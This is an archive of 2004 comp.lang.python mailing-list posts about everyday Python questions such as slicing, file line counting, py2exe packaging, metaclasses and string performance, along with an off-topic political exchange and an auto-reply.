2004 From: fuzzyman at gmail.com (Michael Foord) Date: 7 Sep 2004 03:35:00 -0700 Subject: A couple of Python 'Features' References: <6f402501.0409040202.26cd7a30@posting.google.com> <6f402501.0409060210.2d69e2a1@posting.google.com> Message-ID: <6f402501.0409070235.3890f7cf@posting.google.com> Peter Otten <__peter__ at web.de> wrote in message news:... > Michael Foord wrote: > > > Yep... I think the example failure I showed for FieldStorage was > > actually under Python 2.3.4 - so I'm not convinced it's fixed. > > > > I'll raise two new bug reports but include references to the ones you > > mention.... > > I think it _is_ fixed: > > Python 2.3.3 (#1, Jan 3 2004, 13:57:08) > [GCC 3.2] on linux2 > Type "help", "copyright", "credits" or "license" for more information. > >>> import cgi > >>> for i in cgi.FieldStorage(): print i > ... > >>> > > (I really should update) > > I suggest that you try it out under 2.3.4 *before* you file the report. I > don't think it would be polite to bother the developers with a report of a > bug that may already be fixed. > > Peter I thought I had... but in fact the 'crate' I use to access the internet on only has Python 2.2 (which I installed for testing my CGIs on). Looks like it *is* fixed in 2.3.4... Thanks Fuzzy http://www.voidspace.org.uk/atlantibots/pythonutils.html From usemyfullname at hotmail.com Fri Sep 10 16:35:48 2004 From: usemyfullname at hotmail.com (Antony Sequeira) Date: Fri, 10 Sep 2004 20:35:48 GMT Subject: Xah Lee's Unixism In-Reply-To: References: <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> <4141c830$0$65574$a1866201@newsreader.visi.com> Message-ID: Chuck Dillon wrote: > > So, lets say you are an elected official on 9/12/01, the day after we > lost *only* 3K out of the potentially 20-30K folks that could have been > killed (that's how many folks spent their day in those towers). You no > longer have any frame of reference for the magnitude or imminence of > risk of an attack elsewhere in country. How much time do you spend > studying up international treaties before you decide how to act? > How is that related to Saqqddam Hussqqqqqain being a jackass and us spending 100 or whatever billions on removing him and having 1000+ of Americans + unknown number of Iraqqqqqis getting killed. How does that help avoid 9 qqqq 11 or are you confused between Iraqqqqqis and Saudqqqqis ? Why don't we destroy everything but the U.S., that way we can guarantee that we'll never have any posibility of a terrqqqqorist attack from anywhere but from within U.S. I'll leave it to your imagination on how to extrapolate that to counter terrqqqqorism within U.S. -Antony From shalabh at cafepy.com Wed Sep 1 17:16:10 2004 From: shalabh at cafepy.com (Shalabh Chaturvedi) Date: Wed, 01 Sep 2004 14:16:10 -0700 Subject: negative stride list slices In-Reply-To: References: <8a638f47.0409010941.7f1cbbad@posting.google.com> <2pmj4aFmofl2U1@uni-berlin.de> Message-ID: Reid Nichol wrote: > This was the part that I was refering to: > > +---+---+---+---+---+ > | H | e | l | p | A | > +---+---+---+---+---+ > 0 1 2 3 4 5 > -5 -4 -3 -2 -1 > > > Does it not all work the same in practice? I'd like to add: +---+---+---+---+---+ | H | e | l | p | A | +---+---+---+---+---+ 0 1 2 3 4 5 -5 -4 -3 -2 -1 | | start end (defaults for +ve step) end start (defaults for -ve step) (Is this correct?) David Abrahams wrote: > Can anyone explain the logic behind the behavior of list slicing with > negative strides? For example: > > >>> print range(10)[:-3:-1] > [9,8] > > I found this result very surprising What were you expecting? Thanks, Shalabh From abcdebl2nonspammy at verizon.net Thu Sep 23 23:25:45 2004 From: abcdebl2nonspammy at verizon.net (David Lees) Date: Fri, 24 Sep 2004 03:25:45 GMT Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. In-Reply-To: References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> <864d370904092305026f41795@mail.gmail.com> Message-ID: Richard Hanson wrote: You might want to skip doors. There is already an overly complex requirements tool by that name: http://www.telelogic.com/products/doorsers/doors/index.cfm David > > (I've already thought of Doors... -- doors are more useful than > windows, aren't they? ;-) ) > > > names-can-be-fun'ly y'rs, > Richard Hanson > From barross at web.de Sun Sep 5 15:41:06 2004 From: barross at web.de (Hans Dembinski) Date: Sun, 05 Sep 2004 21:41:06 +0200 Subject: Is it possible?: cat text.txt | python_script_which_also_gets_user_input.py References: <413a06fc@news.kullen.rwth-aachen.de> <413A7E1B.4030607@cs.com> <1094360712.39356@yasure> Message-ID: <413b6bcf@news.kullen.rwth-aachen.de> Thank you for your ideas, that really helped me. It works now. :-) So the answer to my question is YES. :-) From David.Vaughan at Gifford.UK.com Thu Sep 23 11:37:39 2004 From: David.Vaughan at Gifford.UK.com (David Vaughan) Date: Thu, 23 Sep 2004 16:37:39 +0100 Subject: py2exe and Pmw Message-ID: py2exe and Pmw problem ---------------------- I was really surprised not to find some faq setting out what to do to get py2exe working for a program using Pmw. I'm haemorrhaging time here, and I'm now just after step-by-step guidance on using py2exe and Pmw together. I wasn't expecting this to take hours... I've used py2exe succesfully on non-gui programs, and the Python program I'm trying to py2exe works fine on the interpreter. I've used bundlepmw.py to create Pmw.py. I've tried putting Pmw.py, and PmwColor.py and PmwBlt.py in all sorts of places, and always I get a message as if I hadn't provided any of them: Traceback (most recent call last): File "newproj.py", line 21, in ? File "Pmw\__init__.pyc", line 28, in ? WindowsError: [Errno 3] The system cannot find the path specified: 'C:\\data\\Software\\Python\\newproj\\v2_1\\dist\\library.zip\\Pmw/*.*' Also, once I've successfully py2exe'd, where do I have to put all the various dll, pyd, and zip files when I want to run it on another machine? (I'm not a native to Windows.) ----------------------- I'm trying to create the executable on a Windows XP platform, with Python 2.3, but the executable is to run on other flavours of Windows too. My setup.py follows (uncommenting the "packages" line doesn't seem to make any difference): from distutils.core import setup import py2exe import sys sys.argv.append("py2exe") #Avoids having to use the command line setup( version = "2.1", description = "Creates default file structures for new projects/tenders", name = "newproj", # packages = ["Pmw"], # targets to build windows = ["newproj.py"], ) ----------------------- Please don't just point me to places like the following without extra guidance - I've already been to loads of these, and I've spent too long trying to piece it all together: http://starship.python.net/crew/theller/py2exe/ http://www.python.org/doc/current/dist/ http://www.free2code.net/tutorials/programming/python/13/py2exe.php http://starship.python.net/crew/theller/moin.cgi/Py2Exe http://66.102.9.104/search?q=cache:H4sq6tjugqkJ:aspn.activestate.com/ASP N/Mail/Message/py2exe-users/2165190+py2exe+pmw+&hl=en ----------------------- Thanks in advance for any help. David David Vaughan GIFFORD AND PARTNERS LTD Carlton House, Ringwood Road, Woodlands, Southampton, SO40 7HT, UNITED KINGDOM Tel: +44 (0)23 8081 7500 Fax: +44 (0)23 8081 7600 Email: David.Vaughan at gifford.uk.com Web: http://www.gifford.uk.com This e-mail and any files transmitted with it are intended solely for the use of the individual or entity to whom they are addressed and may be confidential. If you are not the intended recipient or the person responsible for delivering the e-mail to the intended recipient, be advised that you have received this e-mail in error and that any use, dissemination, forwarding, printing or copying of this e-mail is strictly prohibited. From zanesdad at bellsouth.net Wed Sep 1 20:59:04 2004 From: zanesdad at bellsouth.net (Jeremy Jones) Date: Wed, 01 Sep 2004 20:59:04 -0400 Subject: .pyc files?? In-Reply-To: <938a4680.0409011626.3b047658@posting.google.com> References: <938a4680.0409011626.3b047658@posting.google.com> Message-ID: <41367058.5090009@bellsouth.net> Ishwar Rattan wrote: >Say a filea.py contains a number of functions defined in it (using >def afn(): etc.) > >in pyhton, filea is imported to use afn (filea.afn() etc.), it cerates >a filea.pyc file, what is the purpose of this file? > >-ishwar > > This file contains compiled bytecode that the Python interpreter uses. If, in your example, filea.pyc exists and its timestamp is newer than filea.py, then the interpreter uses filea.pyc without even attempting to recompile it (which saves the time spent compiling in subsequent runs). If filea.pyc doesn't exist, or its timestamp is older than filea.py, the Python interpreter compiles filea.py to bytecode and writes it to filea.pyc (if it has permissions to do so). From aleaxit at yahoo.com Thu Sep 9 17:07:20 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 9 Sep 2004 23:07:20 +0200 Subject: deepcopy raises TypeError for method/function? References: Message-ID: <1gjvbxx.1am7i1jvn6ht7N%aleaxit@yahoo.com> OKB (not okblacke) wrote: ... > deepcopy(SomeClass) just silently returns the same SomeClass object. I > would expect deepcopy(someObj.someMethod) to do likewise, just returning > the same method object. > > Does anyone have any pointers on this? It seems that certain types > are safe to deepcopy (even if they're not actually copied) whereas > others are not. Do I just have to manually typecheck for functions and > methods? Are there any other types that might raise such an error? You can use copy_reg to register an identity function as the way to 'copy' function and methods, if that floats your boat. And sure, there are other types that raise errors, imagine copying a file object, a socket, ...! Alex From adalke at mindspring.com Mon Sep 20 13:21:14 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Mon, 20 Sep 2004 17:21:14 GMT Subject: How to count lines in a text file ? In-Reply-To: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net> References: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net> Message-ID: Ling Lee wrote: > 2) I made the first part like this: > > in_file = raw_input("What is the name of the file you want to open: ") > in_file = open("test.txt","r") > text = in_file.read() You have two different objects related to the file. One is the filename (the result of calling raw_input) and the other is the file handle (the result of calling open). You are using same variable name for both of them. You really should make them different. First you get the file name and reference it by the variable named 'in_file'. Next you use another filename ("test.txt") for the open call. This returns a file handle, but not a file handle to the file named in 'in_file'. You then change things so that 'in_file' no longer refers to the filename but now refers to the file handle. A nicer solution is to use one variable name for the name (like "in_filename") and another for the handle (you can keep "in_file" if you want to). In the following I reformatted it so the example fits in under 80 colums in_filename = raw_input("What is the name of the file " "you want to open: ") in_file = open(in_filename,"r") text = in_file.read() Now the in_file.read() reads all of the file into memory. There are several ways to count the number of lines. The first is to count the number of newline characters. Because the newline character is special, it's most often written as what's called an escape code. In this case, "\n". Others are backspace ("\b") and beep ("\g"), and backslash ("\\") since otherwise there's no way to get the single character "\". Here's how to cound the number of newlines in the text num_lines = text.count("\n") print "There are", num_lines, "in", in_filename This will work for almost every file except for one where the last line doesn't end with a newline. It's rare, but it does happen. To fix that you need to see if the text ends with a newline and if it doesn't then add one more to the count num_lines = text.count("\n") if not text.endswith("\n"): num_lines = num_lines + 1 print "There are", num_lines, "in", in_filename > 3) I think that I have to use a for loop ( something like > for line in text: count +=1) Something like that will work. When you say "for xxxx in string" it loops through every character in the string, and not every line. What you need is some way to get the lines. One solution is to use the 'splitlines' method of strings. This knows how to deal with the "final line doesn't end with a newline" case and return a list of all the lines. You can use it like this count = 0 for line in text.splitlines(): count = count + 1 or, since splitlines() returns a list of lines you can also do count = len(text.splitlines()) It turns out that reading lines from a file is very common. When you say "for xxx in file" it loops through every line in the file. This is not a list so you can't say len(open(in_filename, "r")) # DOES NOT WORK instead you need to have the explicit loop, like this count = 0 for line in open(in_filename, "r")): count = count + 1 An advantage to this approach is that it doesn't read the whole file into memory. That's only a problems if you have a large file. Try counting the number of lines in a 1.5 GB file! By the way, the "r" is the default for the a file open. Most people omit it from the parameter list and just use open(in_filename) Hope this helped! By the way, you might want to look at the "Beginner's Guide to Python" page at http://python.org/topics/learn/ . It has pointers to resources that might help, including the tutor mailing list meant for people like you who are learning to program in Python. Andrew dalke at dalkescientific.com From guettli at thomas-guettler.de Wed Sep 22 10:36:17 2004 From: guettli at thomas-guettler.de (Thomas Guettler) Date: Wed, 22 Sep 2004 16:36:17 +0200 Subject: Python speed-up References: <415186cc$0$3897$4d4ebb8e@news.nl.uu.net> Message-ID: Am Wed, 22 Sep 2004 16:06:04 +0200 schrieb Guyon Mor?e: > Hi all, > > I am working on a Huffman encoding exercise, but it is kinda slow. This is > not a big problem, I do this to educate myself :) > > So I started profiling the code and the slowdown was actually taking place > at places where I didn't expect it. > > after I have created a lookup-table-dictionary with encodings like > {'d':'0110', 'e':'01' etc} to encode the original text like this: > > for c in original_text: > encoded_text += table[c] Hi Guyon, this is slow. Try this: e_t=[] for c in original_text: e_t.append(table[c]) e_t=''.join(e_t) Your solutions creates a new string for every +=. HTH, Thomas From anders.eriksson at morateknikutveckling.se Thu Sep 23 06:06:18 2004 From: anders.eriksson at morateknikutveckling.se (Anders Eriksson) Date: Thu, 23 Sep 2004 12:06:18 +0200 Subject: Parsing HTML References: Message-ID: <1gt1mc6urgm0t$.dlg@morateknikutveckling.se> Hello Ben! On Thu, 23 Sep 2004 08:11:15 +0100, Ben Last wrote: > There are several HTML parsers, but many (including me) speak well of > Beautiful Soup; it doesn't try to check for correctness or do any > validation, it just parses the HTML. > http://www.crummy.com/software/BeautifulSoup/ It seems like something I could use, except I don't really get how. The sample that parses ESPN's pitch-by-pitch summaries of baseball games, look like it would do something like the thing I want to do. The problem is that the script doesn't do anything. I guess that the web page has changed... Is there some other place I can go to see some more samples on using BeautifulSoup or maybe more documentation? // Anders From benji at benjiyork.com Fri Sep 24 15:49:56 2004 From: benji at benjiyork.com (Benji York) Date: 24 Sep 2004 12:49:56 -0700 Subject: Access to MS SQL from Linux? References: Message-ID: Tim Golden wrote in message news:... > I'm certainly interested; any chance of your putting them up > on a website somewhere? I'll put it up tonight or tomorrow and post the address here. My module is currently in alpha state, but in active development. It is only about 400 LOC, but is almost fully functional. -- Benji York From mark at prothon.org Mon Sep 6 19:08:56 2004 From: mark at prothon.org (Mark Hahn) Date: Mon, 6 Sep 2004 16:08:56 -0700 Subject: Anyone know anything named DX? (was Re: Announcing PyCs) References: <20040901221925.2128958333.EP@zomething.com> Message-ID: <1a1th50c69x5x.tw2k46vhmj8c.dlg@40tude.net> On Mon, 06 Sep 2004 15:45:01 -0700, Robert Kern wrote: > Mark Hahn wrote: >> On Wed, 1 Sep 2004 22:19:25 -0800, EP wrote: >> >> >>>Jeremy Bowers commented: >> >> >>>If you can't come up with a good name, use a letter and symbol or >>>three (but no more than 3), e.g. C, C++, C#. Such will be >>>non-objectionable, but will not help you in getting your >>>language/technology adopted, or even remembered. >> >> >> Well, I gave up on coming up with a good name so I'm taking your advice and >> using DX, for Dynamic Xml language. > > I'd be cautious about that. "dynamic xml" googles up a large number of hits. > >> I had a number of cute names like >> groovy but I just couldn't stand the thought of a cute name. I also had >> acronyms like UDXL but that would get lost in the sea of acronyms. So my >> web-site will be dx-lang.org and all will be well. >> >> Does anyone know of any conflicts for DX? Any existing software projects? >> Any languages? I know all about all the ham radio stuff but I assume that >> is a non-issue. > > There's IBM's Data Explorer (DX) although its most recent incarnation > has been released as an open source project under the name OpenDX. That looks pretty bad. Even though it's only on high-end workstations it is a language and you run it with >DX Oh well. From kirk at eyegor.jobsluder.net Tue Sep 28 11:04:14 2004 From: kirk at eyegor.jobsluder.net (Kirk Job-Sluder) Date: Tue, 28 Sep 2004 15:04:14 GMT Subject: emulating du with os.walk References: <41579e43$0$9613$9b622d9e@news.freenet.de> Message-ID: On 2004-09-28, Gerrit wrote: > "Martin v. L?wis" wrote: >> Kirk Job-Sluder wrote: >> >There should be an easy way to get around this, or perhaps I'm better >> >off just parsing the output of du. >> >> I suggest that you don't use os.path.walk, but write a recursive >> function yourself. You should find that the entire problem can >> be solved in 12 lines of Python code. > > There are some nasty little problems which make it difficult. > > First, what do you do with hardlinks? Suppose directory a/a, a/b and a/c > all contain the same 100 MiB file. Directory a/ only has 100 MiB, but a > naive script will report 300 MiB. Well, that is a good question. The primary goal of this script is to construct lists of files that can be passed to cpio in order to make multiple volumes of a certain size. (In my case, efficiently pack CD-ROM or CD-RW disks.) The other goal is to minimize splitting of directory heirarchies between volumes where possible. So for example, given a list of directories: foo 500M bar 400M baz 100M rab 200M the script should construct file lists for two volumes: volume1: foo baz volume2: bar rab (Of course, the actual volumes will be larger than 600M to allow for compression.) Since each volume should be independent of other volumes, it makes sense to treat hard links as regular files. Even though foo/a.txt and bar/b.txt point to the same file. A full copy of a.txt and b.txt is required. > Most of the time, you'll want to stay in one filesystem. > > You don't want to get stuck in recursive symlinks. If a/b is a symlink > to a/, you quickly get into an infinite loop. Good point. I should check for that. > Directories have a size too. > > What do we do with files we can't read? At the moment, throw an error and move on. > In /proc, even stranger subtleties exist which I don't understand - > ENOENT although listed by listdir() and that sort of thing. > > Together with more options, human-readable file sizes and documentation, > it took be ~200 LOC at > http://topjaklont.student.utwente.nl/creaties/dkus.py Thanks! > Note that du doesn't solve these problems either. True, but I'm willing to sacrifice some precision for the sake of getting it done. Getting volume sizes in the ballpark is good enough. > yours, > Gerrit. > > -- > Weather in Twenthe, Netherlands 28/09 08:55: > 15.0?C mist overcast wind 4.0 m/s SW (57 m above NAP) -- Kirk Job-Sluder "The square-jawed homunculi of Tommy Hilfinger ads make every day an existential holocaust." --Scary Go Round From martin at v.loewis.de Sat Sep 4 09:15:06 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Sat, 04 Sep 2004 15:15:06 +0200 Subject: extending Python error In-Reply-To: References: Message-ID: <4139bfd3$0$24800$9b622d9e@news.freenet.de> Ajay wrote: > C:\Windows CE Tools\wce300\Pocket PC 2002\atl\include\atlbase.h(5395) : > error C2664: '__WinCE_OutputDebugStringA' : cannot convert parameter 1 > from 'const unsigned short *' to 'const char *' > Types pointed to are unrelated; conversion requires > reinterpret_cast, C-style cast or function-style cast [...] > > any ideas where the errors are coming from? Could it be that WCHAR_T is not unsigned short on Windows CE? Regards, Martin From fumanchu at amor.org Mon Sep 20 18:16:44 2004 From: fumanchu at amor.org (Robert Brewer) Date: Mon, 20 Sep 2004 15:16:44 -0700 Subject: parameter passing question Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EF4@exchange.hqamor.amorhq.net> Micah wrote: > Basically, I want to be able to call a function on a list of arguments > without knowing the syntax of the function. I guess a code > example would be > best: > > ------- > def foo(arg1, arg2): > # Do something with arg1 and arg2 > > def main(): > f = foo > args = ["hello", "world"] > # Want to call foo("hello", "world") using variable f and > list args > -------- > > So, what I'm trying to do is call f(args[0], args[1]). > However, I want to > be able to do it with any length argument list. Given any > function f and a > list of arguments args, I want to be able to call f(args[0], > args[1], ..., > args[n]) Use the variable-arg techniques described in: http://docs.python.org/ref/function.html def foo(*args): # Do something with arg[0], arg[1], ... def main(): f = foo args = ["hello", "world"] f(*args) HTH, Robert Brewer MIS Amor Ministries fumanchu at amor.org From me at privacy.net Fri Sep 24 19:30:28 2004 From: me at privacy.net (Richard Hanson) Date: Fri, 24 Sep 2004 16:30:28 -0700 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> <864d370904092305026f41795@mail.gmail.com> <1gkm0e6.chc32oojaw31N%aleaxit@yahoo.com> Message-ID: <0lu8l09suqjh3ugkcka20f3mg3mttig6up@4ax.com> [A heads up: Post of moderate length and moderate content. :-) ] Alex Martelli wrote: > Ksenia Marasanova wrote: > ... > > > are discussed there too -- namely, they're hiding folders, drive > > > names, etc, from the user view, and creating a new and much simplified > > > user interface. > > Fortunately, Apple has been working even harder and is already there > > with Tiger: > > http://www.apple.com/macosx/tiger/spotlight.html > > http://www.apple.com/macosx/tiger/search_finder.html > > Even more fortunately, Apple has learned some lessons over the last 20 > years, so its systems, while quite usable for grampa, do also appeal to > power users and geeks -- Tiger will seamlessly let you use its wonderful > search facilities _together_ with good organization of your materials > (if you take the bother of the latter). Consider Mail.app: its search > functionality works across all mailboxes or on a single mailbox -- > you're _still_ encouraged to do a little decent filing of your mails, It *does* seem necessary to "educate" the database about our own preferences and styles of organization and the like, as well as "rating and filing" specific, individual objects. I'm interested in figuring out ways to make it *very* easy to "add value" to the database with a more efficient HCI -- unless it's very, very simple to do (nearly automatic, even ;-) ), the user won't do it. > though the search does make it more feasible to survive with the popular > "one big inbox and never bother filing" paradigm;-). I'm thinking one database with some auto-indexing helped along with specific user guidance re the "value-adding" aspect. Without some sort of fast auto-indexing, of course, and without the easy ability for user attribute-adding, the "one big box" paradigm could be painfully slow for precise narrowing of large collections of heterogeneous objects. Presumably, the above mentioned apps, and Google, of course, do the auto-indexing part. > Consider Google: > it doesn't eliminate the advantage of well-organized, navigable sites, > even though it gives you a chance of surviving the typical "designed by > marketing, what's this ``usability'' newfangled thing?!" ones... Heh. Don't get me started re the latter... ;-) Apple's work definitely sounds like a step in the right direction. Is there *complete* integration of *all* object types? As I see it, the user should be able to tap a button and change an email into a snailmail doc, or vice versa, say, with the system handling the details automagically. And, with a few appropriately set filters using attributes, sorts, and such, the user should be able to see all the emails, documents, pics, sounds, flicks, etc. relating to, for example, "Pink Floyd" -- all in one, narrowed view even though the objects are of disparate types. (Some of my early inspiration was XTREE for DOS from the 1980s -- XTREE provided a global view which could be narrowed; although, things were still a bit primitive back then.) I don't have access to the modern Macs -- they sound more interesting to me than the Wintels I'm using. (Although, pedantically speaking, my currently not-working Fujitsu laptop uses a Transmeta chip, not an Intel one.) Mike Meyer's link to an implementation of Jeff Raskin's work also sounds quite interesting. I note from scanning the smaller zipfile referenced in the link some similarity with my own ideas -- no save or delete, for example, such being either unnecessary or is transparently handled under-the-covers. (I'm having connectivity problems, so I won't be able to review the implementation of Raskin's "Humane Interface" till I can get wxPython DL'ed again. Perhaps tonight.) civilization-wobbling-along'ly y'rs, Richard Hanson -- sickoldfartnewsguycom From mlh at furu.idi.ntnu.no Sat Sep 11 10:06:00 2004 From: mlh at furu.idi.ntnu.no (Magnus Lie Hetland) Date: Sat, 11 Sep 2004 14:06:00 +0000 (UTC) Subject: ANN: Python Graph Wiki References: Message-ID: In article , Jeremy Bowers wrote: >On Thu, 09 Sep 2004 22:13:28 +0000, Magnus Lie Hetland wrote: > >> Based on a tiny spark of interest in comp.lang.python, I've created a >> temporary wiki for chiseling out a possible standard API/protocol for >> graphs in Python at > >I tried to add something but the site isn't accepting it. The server may >be too slow to run a wiki? I can read from it OK, albeit slowly. Yes, it seems the machine is quite slow (it was just easier for me to use it at the moment than my own box...) It does seem to work, though. Others have been able to add some material. Perhaps you could try again? (And -- do you have any more specifics on how things failed?) -- Magnus Lie Hetland The time you enjoy wasting is not wasted time http://hetland.org -- Bertrand Russel From maxwell at ldc.upenn.edu Fri Sep 3 08:12:20 2004 From: maxwell at ldc.upenn.edu (Mike Maxwell) Date: Fri, 03 Sep 2004 08:12:20 -0400 Subject: sys.stdin.readline() In-Reply-To: References: <367a4461.0408311221.30866c09@posting.google.com> Message-ID: Hallvard B Furuseth wrote: > Mike Maxwell wrote: >>When I invoke readline() in a for loop, why does it return a series of >>one-char strings, rather than the full line? >> >>>>>for sL in sys.stdin.readline(): print sL > > for sL in iter(sys.stdin.readline, ''): print sL, You just forced me to look at the documentation for iter(), which I had previously avoided doing (on the excuse that it was confusing). Thanks for the push! Mike Maxwell From thorsten at thorstenkampe.de Sat Sep 11 10:10:09 2004 From: thorsten at thorstenkampe.de (Thorsten Kampe) Date: Sat, 11 Sep 2004 16:10:09 +0200 Subject: if-else-then References: <848b3711.0409110434.6db93979@posting.google.com> Message-ID: <1m7clbr2obvc$.dlg@thorstenkampe.de> * Thorsten Kampe (2004-09-11 15:56 +0200) > * TuPLaD (2004-09-11 14:34 +0200) >> if user type: n, no, nop, nope then print 'You canceled' >> else >> if user type: y, ye, yes, yep then print 'We are beginning' >> >> How do i do that ? > > There's a tutor list where people who are constanty bored just wait > for questions like this. > > Excerpt from a template.py of mine: In fact my script is a bit stricter than your question: it doesn't allow 'yep' or 'nononono'. Some utilities allow that (probably with a reason) and even non localised answers (for instance in German 'j', 'ja' (pronounced 'yaa') would be valid answers, but also 'y', 'ye' and 'yes' are allowed). If you want that you would only have to ask whether the answer starts with the same letter as your valid answer. Thorsten From hans at zephyrfalcon.org Thu Sep 23 16:25:31 2004 From: hans at zephyrfalcon.org (Hans Nowak) Date: Thu, 23 Sep 2004 16:25:31 -0400 Subject: up with PyGUI! In-Reply-To: References: <414783DD.4070509@zephyrfalcon.org> <4lf4d.15151$pA.1180511@news20.bellglobal.com> <4151B7C4.6070003@zephyrfalcon.org> <41530803.3090805@zephyrfalcon.org> Message-ID: <2jG4d.38$6b6.9@fe61.usenetserver.com> Nicolas Fleury wrote: > Hans Nowak wrote: > >> I'm not sure it's *that* much easier... all you're saving is one >> parameter. > > > Easier is probably not the good word. It is less redundant and less > error-prone. It has happened to me to make mistakes in ownership of > widgets when copy-pasting code, when these errors would not have occured > if the parent parameter was not passed. Admittedly, having to state the parent-child (or container-child) relationship twice is redundant. I am still thinking of ways to make that work better. Maybe I'll post some suggestions on my weblog, so people can discuss it there, rather than on the newsgroup. > It is also more usable, since you can do things like: > myFrame.SetMenuBar(MenuBar([ > Menu("File", [ > Item("&New\tCtrl+N", self.onNew), > Menu("Some sub menu...", ...)] > Menu("Edit", ...)] In fact, a nested list would suffice here to contain the structure of the whole menu. I have an application that uses just that. Maybe something that can be added as well. > The problem is that that explicit cross-referencing between parent and > child forces the parent to be created before, removing capabilities like > that one. But adding capabilities as well... see my example in a previous post. Cheers, -- Hans Nowak (hans at zephyrfalcon.org) http://zephyrfalcon.org/ From mark at easydns.com Fri Sep 10 10:02:03 2004 From: mark at easydns.com (Mark Jeftovic) Date: Fri, 10 Sep 2004 10:02:03 -0400 (EDT) Subject: [Away From Office] Re: Failure Message-ID: <20040910140203.D79DC8B7BE@c3po.easydns.com> I am out of the office until September 17th, 2004. Please note the following contact info in my absence: Technical Issues, .CA issues, and ISP level support: contact Tamas Acs, tacs at myprivacy.ca 416.535.8672 ext 230 or contact Simon Carr, scarr at easydns.com 416.535.8672 ext 261 General easyDNS Support or Billing issues: contact support at easydns.com or billing at easydns.com 416.535.8672 ext 2 For Business Development Issues contact John Schmidt, john at easydns.com 416.535.8672 ext 223 Thanks, and I will talk to you upon my return. -mark From theller at python.net Mon Sep 27 11:24:17 2004 From: theller at python.net (Thomas Heller) Date: Mon, 27 Sep 2004 17:24:17 +0200 Subject: Metaclass with name overloading. References: Message-ID: <3c13hh0e.fsf@python.net> Jacek Generowicz writes: > I would like to write a metaclass which would allow me to overload > names in the definition of its instances, like this > > class Foo(object): > > __metaclass__ = OverloadingClass > > att = 1 > att = 3 > > def meth(self): > pass > > def meth(self, arg): > return arg > > > I would then like the dictionary received by OverloadingClass.__new__ > to look something like this: > > {'att': (1,3), > 'meth: (, ) } > > IOW, each name bound in the class definition should have associated > with it, a tuple containing all the objects which were bound to that > name, rather merely keeping the most recent binding for any given > name. > > I was wondering whether it would be possible to achieve this by > forcing Python to use some dicitonary proxy (which accumulates values, > rather that keeping just the last value to be associated with a key), > instead of dict, when executing the class definiton? > > Is something like this at all possible in pure Python? or does in > require fiddling around in the guts of the parser? It won't work for ordinary attributes, but for overloading methods you should be able to play some tricks with decorators and sys._getframe(). Thomas From noone at here.com Thu Sep 30 13:01:33 2004 From: noone at here.com (M. Clift) Date: Thu, 30 Sep 2004 18:01:33 +0100 Subject: List rotation References: Message-ID: Hi , I must say thankyou to all of you who have helped with this. They translate the lists fine as I have explained so far, but there are some problems with the list that I use. I did not explain that what I'm trying to do is transpose a melody for fear of those of you who do not know music theory not being able to give me valuable advice (That is if I had explained all the possibilities - I thought that I had, but didn't ) . As I said in the lists I have shown so far the transpose works. The problem is is that a melody could be say ['C', 'E', 'B', 'F'], which should transpose in the key of G to ['G', 'B', 'F#', 'D'] or in the key of F to ['F', 'A', 'E', 'Bb'] I now have something to work with and again thankyou to all, but if anyone who understands a bit about music could offer any help I would be grateful. I thought about trying to explain the problem further for non musicians, but after I considered the possibility of double shaps and flats I thought it best to not pester anyone. Malcolm From abra9823 at mail.usyd.edu.au Sun Sep 5 09:28:38 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Sun, 5 Sep 2004 23:28:38 +1000 Subject: python from Java In-Reply-To: References: Message-ID: <1094390918.413b1486613f5@www-mail.usyd.edu.au> thanks a lot for that. its like a wakeup call - i have been looking at too many things and not giving each enough time. i'll go with the SAX based parsing and start with element tree. thanks cheers p.s - by interface i meant just a set of "public" functions that you are supposed to use, no GUI's. Quoting Alan Kennedy : > [Ajay ] > >>>can you call a Python application from a Java program? > > [Alan Kennedy] > >>Define what you mean by "call a python application". > > [Ajay] > > they are on the same machine. > > basically there is an application that does some user modelling and > its in > > Python. the application (bunch of .py scripts) have an interface that > you > > use to access user models. > > OK, so you have a cpython application which is already running on your > PDA. Presumably this "interface" you mention is a graphical interface, > i.e. GUI? What graphics toolkit is this GUI written with? TkInter? > > > the java app will simply do some xml stuff at the end of which it will > > access the user model through the interface. > > OK, so you want to process your (P3P?) xml files in java, which will > extract data and then use that to somehow drive your cpython > application? > > > basically what i'd like to know is if i have > > #test.py > > def foo(blah): > > return blah += 5 > > OK, doing the above would be easy, if you could run jython on your PDA. > You would just use jython to interpret the function instead of cpython, > and everything would live inside the same virtual machine, which would > be nice and tidy. > > However, it's very likely that your PDA has J2ME, i.e. Java 2 Micro > Edition, in which case you won't be able to run jython, which requires > facilities that J2ME doesn't support namely reflection. If you PDA has > any other version of java, you could run jython. > > But that wouldn't be any use to you in the case of your standalone > cpython GUI application anyway, since it is pretty much guaranteed that > the GUI code in your cpython code is cpython specific, and won't run on > jython anyway. > > > can i call foo from a Java class? more importantly what would i need > to > > install on the machine to be able to do that. the machine in question > is a > > PDA so there are some limitations on what can be installed and made to > run > > on it. Python runs and so does Java. > > Assuming that my assumptions about cpython GUIs and J2ME are correct, > here are some options you might consider. > > 1. Somehow drive your cpython GUI by having your java program generate > the relevant UI events, e.g. generate mouse-clicks, key-presses, etc. > This is a common GUI testing technique. A product that does this on > Windows is "autoit". I don't know if this will work on your windows PDA: > if not there are probably similar products. > > 2. Connect your apps using something like pyro or CORBA. Pyro > "transports function/method calls" over a socket, from a server to a > client, and then returns the results over the same socket. If your PDA > supported J2ME, you could use a pyro server on the cpython end, talking > to a client on java end. But without J2ME, you can't use pyro on the > client end. Which leaves CORBA, which should be well supported on both > ends, but a bit more difficult to get your head around: i.e. you'll have > a learning curve to climb to get it working. If this approach interests > you, google "fnorb" or "omniorb python". > > 3. If CORBA is too complex for you, roll 